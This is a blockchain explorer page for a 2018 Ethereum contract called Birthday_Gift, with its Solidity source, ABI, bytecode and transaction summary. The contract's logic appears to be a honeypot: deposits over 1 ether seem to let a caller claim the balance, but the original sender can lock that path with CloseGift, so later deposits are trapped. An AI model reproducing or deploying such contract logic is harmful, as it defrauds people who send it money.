Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00Latest 5 from a total of 5 transactions
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 5533920 | 2870 days ago | 1.00122324 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
Birthday_Gift
Compiler Version
v0.4.19+commit.c4cbbb05
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2018-04-30
*/
pragma solidity ^0.4.19;
contract Birthday_Gift
{
address sender;
address reciver;
bool closed = false;
uint unlockTime;
function PutGift(address _reciver)
public
payable
{
if( (!closed&&(msg.value > 1 ether)) || sender==0x00 )
{
sender = msg.sender;
reciver = _reciver;
unlockTime = now;
}
}
function SetGiftTime(uint _unixTime)
public
{
if(msg.sender==sender)
{
unlockTime = _unixTime;
}
}
function GetGift()
public
payable
{
if(reciver==msg.sender&&now>unlockTime)
{
msg.sender.transfer(this.balance);
}
}
function CloseGift()
public
{
if(sender == msg.sender && reciver != 0x0 )
{
closed=true;
}
}
function() public payable{}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"constant":false,"inputs":[{"name":"_reciver","type":"address"}],"name":"PutGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"CloseGift","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"GetGift","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_unixTime","type":"uint256"}],"name":"SetGiftTime","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]Contract Creation Code
60606040526001805460a060020a60ff0219169055341561001f57600080fd5b6102468061002e6000396000f3006060604052600436106100615763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663108d40f881146100635780633f7e212014610077578063bea948c81461008a578063dac47a7114610092575b005b610061600160a060020a03600435166100a8565b341561008257600080fd5b610061610138565b61006161019d565b341561009d57600080fd5b6100616004356101fe565b60015474010000000000000000000000000000000000000000900460ff161580156100da5750670de0b6b3a764000034115b806100ee5750600054600160a060020a0316155b156101355760008054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff19928316179092556001805492841692909116919091179055426002555b50565b60005433600160a060020a0390811691161480156101605750600154600160a060020a031615155b1561019b576001805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790555b565b60015433600160a060020a0390811691161480156101bc575060025442115b1561019b5733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561019b57600080fd5b60005433600160a060020a0390811691161415610135576002555600a165627a7a723058202b132d527c8f0f0b01af1b07997b233b7bb632d672f68760debe7e20d369dd8a0029
Deployed Bytecode
0x6060604052600436106100615763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663108d40f881146100635780633f7e212014610077578063bea948c81461008a578063dac47a7114610092575b005b610061600160a060020a03600435166100a8565b341561008257600080fd5b610061610138565b61006161019d565b341561009d57600080fd5b6100616004356101fe565b60015474010000000000000000000000000000000000000000900460ff161580156100da5750670de0b6b3a764000034115b806100ee5750600054600160a060020a0316155b156101355760008054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff19928316179092556001805492841692909116919091179055426002555b50565b60005433600160a060020a0390811691161480156101605750600154600160a060020a031615155b1561019b576001805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790555b565b60015433600160a060020a0390811691161480156101bc575060025442115b1561019b5733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561019b57600080fd5b60005433600160a060020a0390811691161415610135576002555600a165627a7a723058202b132d527c8f0f0b01af1b07997b233b7bb632d672f68760debe7e20d369dd8a0029
Swarm Source
bzzr://2b132d527c8f0f0b01af1b07997b233b7bb632d672f68760debe7e20d369dd8a
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.